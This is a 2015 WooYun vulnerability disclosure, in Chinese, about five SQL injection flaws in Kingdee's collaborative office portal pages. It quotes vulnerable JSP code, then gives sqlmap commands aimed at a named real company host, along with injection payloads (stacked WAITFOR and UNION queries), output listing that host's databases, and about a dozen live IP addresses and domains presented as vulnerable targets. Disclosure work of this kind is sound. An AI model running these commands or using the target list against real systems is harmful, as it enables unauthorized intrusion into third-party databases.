当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137513

漏洞标题:金蝶协作办公系统存在五个高危SQL注射

相关厂商:金蝶

漏洞作者: 路人甲

提交时间:2015-08-31 13:00

修复时间:2015-12-01 09:05

公开时间:2015-12-01 09:05

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-31: 细节已通知厂商并且等待厂商处理中
2015-09-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-10-27: 细节向核心白帽子及相关领域专家公开
2015-11-06: 细节向普通白帽子公开
2015-11-16: 细节向实习白帽子公开
2015-12-01: 细节向公众公开

简要描述:

金蝶协作办公系统存在五个高危SQL注射,影响非常多的大型企业

详细说明:

存在漏洞的文件为

/kingdee/portal/portal.jsp?id=1
/kingdee/portal/portal_del.jsp?id=1
/kingdee/portal/portal_info.jsp?id=1
/kingdee/portal/portal_make.jsp?id=1
/kingdee/portal/portlet_set_del.jsp?portlet_id=1


这些漏洞都是比较明显的漏洞,比如 /kingdee/portal/portal_del.jsp

<%@page contentType="text/HTML;charset=gbk"%>
<%
String id = pub.PubFunc.toString(request.getParameter("id"));
pub.TableCtrl db = new pub.TableCtrl();
java.util.Vector vec = db.open("SELECT a.id,b.db_set FROM portal_portlet_fields AS a INNER JOIN portal_portlet_type AS b ON a.portlet_type = b.id WHERE (a.portal_id = "+id+")");
for (int i=0;i<vec.size();i++) {
String[] fields = (String[])vec.elementAt(i);
db.exec("delete from "+fields[1]+" where portal_id="+fields[0]);
}
db.exec("delete from portal_portlet_fields where portal_id="+id);
db.exec("delete from portal_class where id="+id);
out.println("<script>alert('删除成功');location.href='portal_list.jsp';</script>");
%>


直接给出漏洞的证明
0x1 /kingdee/portal/portal.jsp

sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/portal/portal.jsp?id=1"

1.png


0x2 /kingdee/portal/portal_del.jsp

sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/portal/portal_del.jsp?id=1"

2.png


0x3 /kingdee/portal/portal_info.jsp

sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/portal/portal_info.jsp?id=1"

3.png


0x4 /kingdee/portal/portal_make.jsp

sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/portal/portal_make.jsp?id=1"

4.png


0x5 /kingdee/portal/portlet_set_del.jsp

sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/portal/portlet_set_del.jsp?portlet_id=1"

5.png


sqlmap测试出的数据:

sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/portal/portal_info.jsp?id=1" --dbs

da.png


存在漏洞的案例

http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://122.139.60.103:800/kingdee/login/loginpage.jsp
http://oa.guanhao.com:8080/kingdee/login/loginpage.jsp
http://222.179.238.182:8082/kingdee/login/loginpage2.jsp
http://222.134.77.23:8080/kingdee/login/loginpage.jsp
http://221.4.245.218:8080/kingdee/login/loginpage.jsp
http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://220.189.244.202:8080/kingdee/login/loginpage.jsp
http://222.133.44.10:8080/kingdee/login/loginpage.jsp
http://223.95.183.6:8080/kingdee/login/loginpage.jsp
http://61.190.20.51/kingdee/login/loginpage.jsp
http://60.194.110.187/kingdee/login/loginpage.jsp
http://oa.roen.cn/kingdee/login/loginpage.jsp

漏洞证明:

sqlmap.py -u "http://oa.guanhao.com:8080/kingdee/portal/portal_info.jsp?id=1" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:41:00
[23:41:00] [INFO] resuming back-end DBMS 'microsoft sql server'
[23:41:00] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=1;WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(120)+CHAR(113)+CHAR(113)+CHAR(103)+CHAR(122)+CHAR(113)+CHAR(67)+CHAR(103)+CHAR(79)+CHAR(99)+CHAR(90)+CHAR(87)+CHAR(88)+CHAR(113)+CHAR(120)+CHAR(106)+CHAR(113)+CHAR(113),NULL,NULL--
---
[23:41:01] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[23:41:01] [INFO] fetching database names
[23:41:01] [INFO] the SQL query used returns 6 entries
[23:41:01] [INFO] resumed: ghcoa
[23:41:01] [INFO] resumed: ghtest
[23:41:01] [INFO] resumed: master
[23:41:01] [INFO] resumed: model
[23:41:01] [INFO] resumed: msdb
[23:41:01] [INFO] resumed: tempdb
available databases [6]:
[*] ghcoa
[*] ghtest
[*] master
[*] model
[*] msdb
[*] tempdb
[23:41:01] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\oa.guanhao.com'
[*] shutting down at 23:41:01

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-01 09:05

厂商回复:

此产品为我公司前几年代理的上海协达公司的产品,公司已经在协调客户升级解决。为保护客户利益,不在接受任何漏洞通报。谢谢各位关注!

最新状态:

暂无